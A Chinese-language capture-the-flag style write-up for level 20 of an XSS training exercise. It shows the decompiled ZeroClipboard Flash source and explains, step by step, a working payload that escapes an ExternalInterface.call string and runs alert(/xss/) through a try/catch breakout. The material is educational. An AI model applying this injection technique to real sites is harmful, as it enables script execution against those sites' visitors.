level 20 Flash XSS
一片空白的flash
,上一关的思路的没有了,只有来审计代码了。。。
package
{
import flash.display.LoaderInfo;
import flash.display.Sprite;
import flash.display.StageScaleMode;
import flash.events.Event;
import flash.events.MouseEvent;
import flash.external.ExternalInterface;
import flash.system.Security;
import flash.system.System;
public class ZeroClipboard extends Sprite
{
private var button:Sprite;
private var id:String = "";
private var clipText:String = "";
public function ZeroClipboard()
{
super();
stage.scaleMode = StageScaleMode.EXACT_FIT;
Security.allowDomain("*");
var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
id = flashvars.id;
button = new Sprite();
button.buttonMode = true;
button.useHandCursor = true;
button.graphics.beginFill(13434624);
button.graphics.drawRect(0,0,Math.floor(flashvars.width),Math.floor(flashvars.height));
button.alpha = 0;
addChild(button);
button.addEventListener(MouseEvent.CLICK,clickHandler);
button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null);
});
button.addEventListener(MouseEvent.MOUSE_OUT,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOut",null);
});
button.addEventListener(MouseEvent.MOUSE_DOWN,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseDown",null);
});
button.addEventListener(MouseEvent.MOUSE_UP,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseUp",null);
});
ExternalInterface.addCallback("setHandCursor",setHandCursor);
ExternalInterface.addCallback("setText",setText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"load",null);
}
public function setHandCursor(param1:Boolean) : *
{
button.useHandCursor = param1;
}
private function clickHandler(param1:Event) : void
{
System.setClipboard(clipText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"complete",clipText);
}
public function setText(param1:*) : *
{
clipText = param1;
}
}
}
还好不是很长,这个和上一关代码明显不一样,上一关是getlURL
,而这一关是ExternalInterface.call
。
首先通过LoaderInfo
从URL
中取值
除了上面的id
以外还要取两个值width
和height
。
接下来构造payload
就可以了,arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width=123%26height=123
首先arg01=id
这个就不用解释了,arg02=xss\"))}catch(e){alert(/xss/)}//
这个地方有不少要说明的,首先为什么要加"
,来看看不加的结果
所以要加一个"
进行闭合,让id
不等于xss))}catch(e){alert(/xss/)}//
,因为等下会直接将id
的值全部都传到flash
中,flash
中仍然也有需闭合的部分,再来看看有\"
的结果
你会发现好像没有什么变化,这因为php
做了htmlspecialchar()
过滤,至于为什么这样写,那就得看flash
的代码了,等会id
就会传到下面来
后面的可以不用管,因为会被我后面的//
给注释掉,这里注意,由于是通过LoaderInfo
取值的,所以就会变成这个样子
{
"id" = "xss\"))}catch(e){alert(/xss/)}//"
}
可以看到,如果不加\
转义id
就会变成xss
,也就是下面的这个样子,当id
再传到里面的函数里面时就起不到报错的作用了。
{
"id" = "xss"))}catch(e){alert(/xss/)}//"
}
接下来有许多函数都使用了id
,ExternalInterface.call(a,b)
相当于JS
中的函数名(代码)
我们可以看到上面函数名
已经固定了,要是没固定直接改成alert
美滋滋,所以我们就从id
这里着手,把id
的值代进去。
ExternalInterface.call("xxxx","xss\"))}catch(e){alert(/xss/)}//")
,这样不太容易看的话,换种方式
private function clickHandler(param1:Event) : void
{
System.setClipboard(clipText);
ExternalInterface.call("ZeroClipboard.dispatch","xss\"))}catch(e){alert(/xss/)}//","complete",clipText);
}
把多余的去掉就会变成这样
private function clickHandler(param1:Event) : void
{
ExternalInterface.call("ZeroClipboard.dispatch","xss\"))}catch(e){
alert(/xss/)
}
//","complete",clipText);
}
然后你就会发现这样一搞,由于前面少了一个真正可以闭合的"
于是会报错,所以后面抛出异常的catch
就可以生效了,于是执行后面的alert(/xss/)
。
再来说下//
后面的%26width=123&26height=123
,%26
其实是&
,那为啥非得写%26
呢,先来看一个&
的。
你会发现啥都没有,因为php
就拿前两个参数,再看%26
可以了,访问这个地址就搞定了,不得不说我觉得我能耐心把这两题做完,感觉这一年学习真的有进步,哈哈。
其实通过这个我还搞出来了两个其它的payload
也可以过关,大家就自己想吧~